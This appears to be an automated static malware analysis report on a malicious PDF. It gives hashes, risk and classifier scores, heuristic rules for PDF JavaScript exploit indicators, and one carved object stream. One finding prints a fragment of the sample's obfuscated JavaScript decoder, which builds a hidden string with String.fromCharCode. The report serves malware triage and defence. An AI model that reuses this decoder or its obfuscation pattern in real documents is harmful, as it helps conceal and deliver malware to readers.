Malicious PDF — malware analysis report

Static analysis result for SHA-256 a44f67b0c4a7b97d…

MALICIOUS

PDF

6.2 KB First seen: 2026-05-11
MD5: db2f24fae8bb2125f00c4953d8531bd3 SHA-1: ee7f9392e1c59715c3d62a47e3d3fa11832baabf SHA-256: a44f67b0c4a7b97d991a3e8f35f3128f5408967593c0a06225d45b5315666173
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains an embedded JavaScript stream that utilizes String.fromCharCode, indicating obfuscation. The ML classifier strongly flagged this PDF as malicious. While no specific URLs were extracted that are flagged as malicious, the presence of obfuscated JavaScript suggests an attempt to download and execute a secondary payload. The extracted artifact 'objstm_0023_00.bin' is likely related to the obfuscated script.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9761

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    26 0 27 22 28 43 29 326 30 345 31 358 32 374 33 413 34 430 35 447 36 486 37 505 <</JavaScript 27 0 R>><</Names[(1)28 0 R]>><</JS(function bpgqh\(\){if\(isgngva==0\){dqdndm2=enftg\(erfqcm.charCodeAt\(jrymiw4++\)\);isgngva=6;}return \(\(dqdndm2>>--isgngva\)&0x01\);}while\(yoezg--\){i=0;while\(fzyze[i]<0\){if\(bpgqh\(\)\)i=-fzyze[i];else i++;}ywapkr8+=String.fromCharCode\(fzyze[i]\);}\
\r\n)/S/JavaScript>>(D:20100305135019Z)(DefaultFlow)<</Flow 30 0 R>><</LastModified 29 0 R/Private 31 0 R>><</PDFWP 32 0 R>><</PDFWP 35 0 R>><</LastModified 36 0 R/Private 37 0 R>>(D:20100305135019Z)<<>>
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objstm_0023_00.bin pdf-objstm-decoded PDF /ObjStm 23 0 obj (inflated) 589 bytes
SHA-256: e7a6293cb9eb00cbc6f421df42f23975867055fa5390a8c7487c6cbbe416d85f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).

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